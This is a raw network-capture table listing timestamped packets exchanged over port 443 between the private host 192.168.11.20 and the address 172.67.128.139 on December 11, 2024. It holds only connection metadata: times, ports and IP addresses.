Dec 11, 2024 12:14:43.375026941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.375112057 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.375271082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.375319004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.375412941 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.375643015 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.376266956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.376358032 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.376475096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.376483917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.376526117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.376526117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.377266884 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.377428055 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.377439022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.377563000 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.377602100 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.377613068 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.377752066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.378252029 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.378283024 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.378412962 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.378422022 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.378458977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.378562927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.606451035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.606496096 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.606669903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.606681108 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.606844902 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.607489109 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.607647896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.607659101 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.607906103 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.607916117 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.608064890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.608316898 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.608443975 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.608479977 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.608578920 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.608588934 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.608777046 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.609345913 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.609390974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.609534979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.609534979 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.609546900 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.609674931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.610187054 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.610352039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.610598087 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.610805988 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.610815048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.610963106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.611232996 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.611397028 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.611483097 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.611491919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.611546993 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.666683912 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.831501007 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.831506014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.831639051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.831824064 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.831950903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.831957102 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.832196951 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.832336903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.832540989 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.833233118 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.833287954 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.833532095 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.833547115 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.834181070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.834250927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.834330082 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.834341049 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.834378004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.834427118 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.835164070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.835316896 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.835325956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.835495949 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.835499048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.835504055 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.835876942 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.836179972 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.836349010 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.836358070 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.836453915 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.836503983 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.836509943 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.836652040 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.837104082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.837268114 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.837464094 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.837498903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.837698936 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.838052988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:43.838238955 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:43.838239908 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.057189941 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.057193041 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.057297945 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.057306051 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.057347059 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.057394981 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.057398081 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.057444096 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.057497978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.057497978 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.059243917 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.059253931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.059418917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.059418917 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.059464931 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.059467077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.059561968 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.059695005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.061005116 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.061016083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.061172009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.061172009 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.061218023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.061218023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.061218023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.061222076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.061378002 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.062977076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.062987089 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.063118935 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.063163996 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.063261986 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.063265085 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.063469887 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.063821077 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.064047098 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.288558006 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.288569927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.288758039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.288758039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.288758039 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.288767099 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.288772106 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.288902998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.288902998 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.289002895 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.290558100 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.290568113 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.290736914 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.290786982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.290786982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.290786982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.290786982 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.290791988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.290931940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.292541981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.292552948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.292748928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.292748928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.292753935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.292846918 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.292896032 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.294548035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.294557095 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.294718027 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.294766903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.294766903 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.294770956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.294815063 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.295087099 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.296394110 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.296402931 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.296566963 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.296571016 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.296616077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.296616077 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.296710014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.297409058 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.297513008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.297568083 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.302833080 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.509759903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.509763956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.509814024 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.509911060 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.509957075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.509957075 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.509962082 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.510010004 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.510103941 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.511746883 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.511759043 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.511903048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.511955023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.511955023 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.511959076 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.512003899 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.512151003 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.513886929 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.513895988 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.514074087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.514074087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.514074087 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.514080048 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.514126062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.514126062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.514255047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.515721083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.515729904 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.515911102 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.516022921 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.516026974 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.516212940 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.517708063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.517716885 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.517846107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.517846107 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.517894030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.517894030 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.517898083 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.517991066 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.518050909 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.519579887 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.519591093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.519742012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.519742012 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.519790888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.519790888 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.519794941 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.519839048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.519934893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.521224022 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.521420956 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.521553993 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.521564007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.521564007 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.521569014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.521702051 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.521754026 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.525151014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.736573935 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.736588955 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.736696959 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.736856937 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.736999035 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.737010002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.737405062 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.738456011 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.738477945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.738589048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.738589048 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.738718033 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.738727093 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.738883972 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.739403009 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.739547014 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.739595890 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.742644072 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.742671013 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.743000984 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.743016958 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.744823933 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.744854927 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.744968891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.744968891 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.744982004 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.745017052 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.745018005 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.745064974 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.745116949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.746675014 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.746701002 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.746820927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.746820927 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.746870041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.746870041 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.746877909 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.746916056 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.746968031 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.748589039 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.748619080 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.748747110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.748747110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.748747110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.748760939 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.748847008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.748847008 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.748892069 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750516891 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.750536919 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.750637054 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750685930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750685930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750685930 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750734091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750734091 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.750742912 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.750830889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.751451015 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.751584053 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.751599073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.751599073 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.751611948 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.751647949 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.751748085 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.753878117 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.982841015 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.982856035 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.983001947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.983160973 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.983165979 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.983303070 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.984708071 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.984720945 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.984863997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.984863997 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.984967947 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.984972954 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.985135078 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.986596107 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.986607075 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.986735106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.986735106 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.986779928 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.986783981 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.986879110 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.986929893 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.988822937 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.988840103 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.989001036 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.989006042 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.989052057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.989052057 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.989150047 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.990588903 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.990601063 CET	443	49776	172.67.128.139	192.168.11.20
Dec 11, 2024 12:14:44.990705013 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.990753889 CET	49776	443	192.168.11.20	172.67.128.139
Dec 11, 2024 12:14:44.990753889 CET	49776	443	192.168.11.20	172.67.128.139
